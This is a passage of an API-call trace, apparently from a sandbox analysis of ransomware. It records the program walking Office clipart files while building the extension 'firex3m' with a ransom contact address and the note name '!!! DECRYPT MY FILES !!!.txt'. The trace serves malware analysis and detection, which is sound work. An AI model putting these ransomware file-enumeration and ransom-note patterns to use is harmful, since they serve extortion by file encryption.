Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 1 [0133.718] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf") returned 0x44 [0133.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.718] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.718] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.718] GetProcessHeap () returned 0x630000 [0133.718] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x190) returned 0x66a3e0 [0133.718] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0133.718] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 1 [0133.718] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf") returned 0x44 [0133.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.719] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.719] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.719] GetProcessHeap () returned 0x630000 [0133.719] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x194) returned 0x66a3e0 [0133.719] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0133.719] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 1 [0133.719] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf") returned 0x44 [0133.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.719] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.719] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.720] GetProcessHeap () returned 0x630000 [0133.720] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x198) returned 0x66a3e0 [0133.720] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0133.720] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 1 [0133.720] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf") returned 0x44 [0133.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.720] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.720] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.720] GetProcessHeap () returned 0x630000 [0133.720] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x19c) returned 0x66a3e0 [0133.720] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0133.720] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 1 [0133.720] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf") returned 0x44 [0133.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.721] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.721] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.721] GetProcessHeap () returned 0x630000 [0133.721] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a0) returned 0x66a3e0 [0133.721] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0133.721] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 1 [0133.721] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf") returned 0x44 [0133.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.721] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.721] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.721] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.722] GetProcessHeap () returned 0x630000 [0133.722] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a4) returned 0x66a3e0 [0133.722] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0133.722] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 1 [0133.722] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf") returned 0x44 [0133.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.722] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.722] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.722] GetProcessHeap () returned 0x630000 [0133.722] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a8) returned 0x66a3e0 [0133.722] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0133.723] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 1 [0133.723] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf") returned 0x44 [0133.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.723] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.723] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.723] GetProcessHeap () returned 0x630000 [0133.723] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1ac) returned 0x66a3e0 [0133.723] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0133.723] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 1 [0133.723] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf") returned 0x44 [0133.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.724] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.724] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.724] GetProcessHeap () returned 0x630000 [0133.724] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b0) returned 0x66a3e0 [0133.724] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0133.724] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 1 [0133.724] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf") returned 0x44 [0133.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.724] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.724] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.724] GetProcessHeap () returned 0x630000 [0133.724] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b4) returned 0x66a3e0 [0133.724] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0133.725] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 1 [0133.725] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf") returned 0x44 [0133.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.725] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.725] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.725] GetProcessHeap () returned 0x630000 [0133.725] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b8) returned 0x66a3e0 [0133.725] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0133.725] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 1 [0133.725] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf") returned 0x44 [0133.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.726] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.726] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.726] GetProcessHeap () returned 0x630000 [0133.726] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1bc) returned 0x66a3e0 [0133.726] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0133.726] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 1 [0133.726] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf") returned 0x44 [0133.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, 